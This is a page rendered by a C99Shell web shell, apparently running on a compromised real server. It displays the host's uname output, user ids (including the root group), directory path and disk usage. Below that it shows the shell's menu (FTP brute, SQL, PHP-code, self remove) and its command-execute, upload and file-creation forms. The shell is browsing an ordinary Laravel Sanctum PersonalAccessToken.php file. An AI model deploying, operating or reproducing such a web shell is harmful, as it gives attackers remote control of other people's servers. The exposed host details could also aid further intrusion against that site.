!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gateway.picotech.app/public_html/vendor/laravel/sanctum/src/   drwxr-xr-x
Free 28.52 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PersonalAccessToken.php (1.96 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Laravel\Sanctum;

use 
Illuminate\Database\Eloquent\Model;
use 
Laravel\Sanctum\Contracts\HasAbilities;

class 
PersonalAccessToken extends Model implements HasAbilities
{
    
/**
     * The attributes that should be cast to native types.
     *
     * @var array
     */
    
protected $casts = [
        
'abilities' => 'json',
        
'last_used_at' => 'datetime',
    ];

    
/**
     * The attributes that are mass assignable.
     *
     * @var array
     */
    
protected $fillable = [
        
'name',
        
'token',
        
'abilities',
    ];

    
/**
     * The attributes that should be hidden for serialization.
     *
     * @var array
     */
    
protected $hidden = [
        
'token',
    ];

    
/**
     * Get the tokenable model that the access token belongs to.
     *
     * @return \Illuminate\Database\Eloquent\Relations\MorphTo
     */
    
public function tokenable()
    {
        return 
$this->morphTo('tokenable');
    }

    
/**
     * Find the token instance matching the given token.
     *
     * @param  string  $token
     * @return static|null
     */
    
public static function findToken($token)
    {
        if (
strpos($token'|') === false) {
            return static::
where('token'hash('sha256'$token))->first();
        }

        [
$id$token] = explode('|'$token2);

        if (
$instance = static::find($id)) {
            return 
hash_equals($instance->tokenhash('sha256'$token)) ? $instance null;
        }
    }

    
/**
     * Determine if the token has a given ability.
     *
     * @param  string  $ability
     * @return bool
     */
    
public function can($ability)
    {
        return 
in_array('*'$this->abilities) ||
               
array_key_exists($abilityarray_flip($this->abilities));
    }

    
/**
     * Determine if the token is missing a given ability.
     *
     * @param  string  $ability
     * @return bool
     */
    
public function cant($ability)
    {
        return ! 
$this->can($ability);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--